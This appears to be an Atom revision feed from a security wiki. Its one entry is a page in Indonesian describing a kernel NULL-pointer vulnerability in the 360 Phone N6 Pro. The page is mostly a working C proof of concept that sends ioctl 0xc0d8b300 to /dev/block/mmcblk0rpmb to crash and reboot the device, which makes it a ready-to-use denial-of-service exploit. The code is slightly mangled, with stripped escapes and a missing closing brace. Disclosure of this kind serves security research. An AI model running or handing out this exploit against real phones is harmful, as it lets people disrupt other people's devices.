<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=360_Phone_N6_Pro%E5%85%A7%E6%A0%B8%E6%BC%8F%E6%B4%9E%2Fid</id>
	<title>360 Phone N6 Pro內核漏洞/id - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=360_Phone_N6_Pro%E5%85%A7%E6%A0%B8%E6%BC%8F%E6%B4%9E%2Fid"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=360_Phone_N6_Pro%E5%85%A7%E6%A0%B8%E6%BC%8F%E6%B4%9E/id&amp;action=history"/>
	<updated>2026-04-13T14:53:15Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=360_Phone_N6_Pro%E5%85%A7%E6%A0%B8%E6%BC%8F%E6%B4%9E/id&amp;diff=3301&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;Kerentanan kernel 360 Phone N6 Pro&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=360_Phone_N6_Pro%E5%85%A7%E6%A0%B8%E6%BC%8F%E6%B4%9E/id&amp;diff=3301&amp;oldid=prev"/>
		<updated>2021-05-26T13:12:54Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;Kerentanan kernel 360 Phone N6 Pro&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&amp;lt;languages   /&amp;gt;&lt;br /&gt;
== Prinsip Kerentanan ==&lt;br /&gt;
&lt;br /&gt;
Modul kernel dalam komponen kernel 360 Phone N6 Pro V096 memungkinkan penyerang menggunakan perintah 3235427072 untuk memasukkan argumen yang dirancang dengan cermat melalui argumen ioctl pada perangkat &amp;lt;code&amp;gt;/dev/block/mmcblk0rpmb&amp;lt;/code&amp;gt; dan menyebabkan kernel untuk crash.&lt;br /&gt;
&lt;br /&gt;
== Dampak Kerentanan ==&lt;br /&gt;
&lt;br /&gt;
360 Phone N6 Pro 1801-A01&lt;br /&gt;
&lt;br /&gt;
==POC==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/*&lt;br /&gt;
* This is poc of 360 N6 Pro, 1801-A01&lt;br /&gt;
* Android Version: 7.1.1&lt;br /&gt;
* Version Number: V096&lt;br /&gt;
* Kernel Version: Linux localhost 4.4.21-perf #1 SMP PREEMPT Wed Mar 28 15:24:20 UTC 2018 aarch64&lt;br /&gt;
* A NULL pointer bug in the ioctl interface of device file /dev/block/mmcblk0rpmb causes the system crash via IOCTL 3235427072.&lt;br /&gt;
* This Poc should run with permission to do ioctl on /dev/block/mmcblk0rpmb.&lt;br /&gt;
*/&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;
#include &amp;lt;errno.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/ioctl.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
const static char *driver = &amp;quot;/dev/block/mmcblk0rpmb&amp;quot;;&lt;br /&gt;
static command = 3235427072; // 0xc0d8b300&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char **argv, char **env) {&lt;br /&gt;
int fd = 0;&lt;br /&gt;
fd = open(driver, O_RDWR);&lt;br /&gt;
if (fd &amp;lt; 0) {&lt;br /&gt;
printf(&amp;quot;Failed to open %s, with errno %dn&amp;quot;, driver, errno);&lt;br /&gt;
system(&amp;quot;echo 1 &amp;gt; /data/local/tmp/log&amp;quot;);&lt;br /&gt;
return -1;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
printf(&amp;quot;Try ioctl device file '%s', with command 0x%x and payload NULLn&amp;quot;, driver, command);&lt;br /&gt;
printf(&amp;quot;System will crash and reboot.n&amp;quot;);&lt;br /&gt;
if(ioctl(fd, command, NULL) &amp;lt; 0) {&lt;br /&gt;
printf(&amp;quot;Allocation of structs failed, %dn&amp;quot;, errno);&lt;br /&gt;
system(&amp;quot;echo 2 &amp;gt; /data/local/tmp/log&amp;quot;);&lt;br /&gt;
return -1;&lt;br /&gt;
}&lt;br /&gt;
close(fd);&lt;br /&gt;
return 0;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>